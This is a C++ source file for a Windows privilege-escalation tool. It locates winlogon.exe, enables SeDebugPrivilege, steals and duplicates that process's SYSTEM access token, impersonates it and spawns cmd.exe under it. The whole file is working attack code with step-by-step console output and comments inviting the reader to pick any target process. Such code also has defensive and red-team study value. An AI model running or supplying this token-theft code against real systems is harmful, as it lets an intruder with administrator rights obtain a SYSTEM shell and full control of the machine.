AutoAccessTokenManipulation.cpp

#include <Windows.h>
#include <stdio.h>
#include <TlHelp32.h>

//Function to enumerate the process ID (PID) of winlogon.exe. I choosed winlogin.exe because by default it runs as "NT Authority/system". Choose any process you want but make sure to edit the process name in the string compare line.
DWORD getPPID() {

	printf("\n[*] Attempting to take snapshot for process enumeration.\n");
	Sleep(400);

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (snapshot == INVALID_HANDLE_VALUE) {
		printf("[!] Failed to take snapshot.\nExiting with error: %ld\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[+] Snapshot taken successful.\n");

	PROCESSENTRY32 pe32;
	pe32.dwSize = sizeof(PROCESSENTRY32);

	if (Process32First(snapshot, &pe32) == TRUE) {
		while (Process32Next(snapshot, &pe32) == TRUE) {
			if (_wcsicmp(pe32.szExeFile, L"winlogon.exe") == 0) {
				DWORD PPID = pe32.th32ProcessID;
				return PPID;
				break;
			}
		}
	}
	CloseHandle(snapshot);
}

//Function to enable the SeDebugPrivilege if the running process doesn't have one.
void EnablePrivileges(HANDLE hToken, LPCTSTR lpPrivilegeName, BOOL bEnablePrivilege) {

	TOKEN_PRIVILEGES tp;
	LUID luid;

	LookupPrivilegeValue(NULL, lpPrivilegeName, &luid);

	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
		printf("[!] AdjustTokenPrivileges() Failed.\n");
	}
	printf("[+] AdjustTokenPrivileges() successfull.\n");
}

int main() {

	DWORD PPID = getPPID();
	printf("[*] Process ID of target process [winlogon.exe] is %ld\n", PPID);
	Sleep(400);

	HANDLE TokenHandle = NULL;
	HANDLE DuplicateTokenHandle = NULL;
	STARTUPINFO stinfo = { 0 };
	PROCESS_INFORMATION pinfo = { 0 };
	ZeroMemory(&stinfo, sizeof(STARTUPINFO));
	ZeroMemory(&pinfo, sizeof(PROCESS_INFORMATION));
	stinfo.cb = sizeof(STARTUPINFO);

  //Getting the access token of current process.
	HANDLE CurrentTokenHandle = NULL;
	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &CurrentTokenHandle);
	if (getCurrentToken == 0) {
		printf("[!] OpenProcessToken() Failed.\nExiting with error: %ld", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[+] OpenProcessToken() success.\n");
	Sleep(400);

  //Enabling the SeDebugPrivilege.
	EnablePrivileges(CurrentTokenHandle, SE_DEBUG_NAME, TRUE);

	HANDLE rProc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, PPID);
	if (rProc == NULL) {
		printf("[!] Failed to get handle to the target process.\nExiting with error: %ld\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[+] Got an handle to the target process.\n");
	Sleep(400);

  //Opening the target process (winlogon.exe) and getting the access token. Saving the access token to a new variable called rToken which I meant remoteToken.
	BOOL rToken = OpenProcessToken(rProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &TokenHandle);
	if (rToken == 0) {
		printf("[!] OpenProcessToken() Failed.\nExiting with error: %ld\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[+] OpenProcessToken() success.\n");
	Sleep(400);

  //We are also impersonating the logged on user of that target token. [NT Authori/System] in this case.
	BOOL ImpersonateUser = ImpersonateLoggedOnUser(TokenHandle);

  //Creating a duplicate token.
	DuplicateTokenEx(TokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &DuplicateTokenHandle);

  //Creating a new process [cmd.exe] with the duplicated token.
	if (!CreateProcessWithTokenW(DuplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &stinfo, &pinfo)) {
		printf("[!] CreateProcessWithTokenW() Failed.\nExiting with error: %ld\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[+] Process created with the token of target process.\n");
	Sleep(400);
	printf("[+] New Process created with PID: %ld\n", pinfo.dwProcessId);

	return EXIT_SUCCESS;
}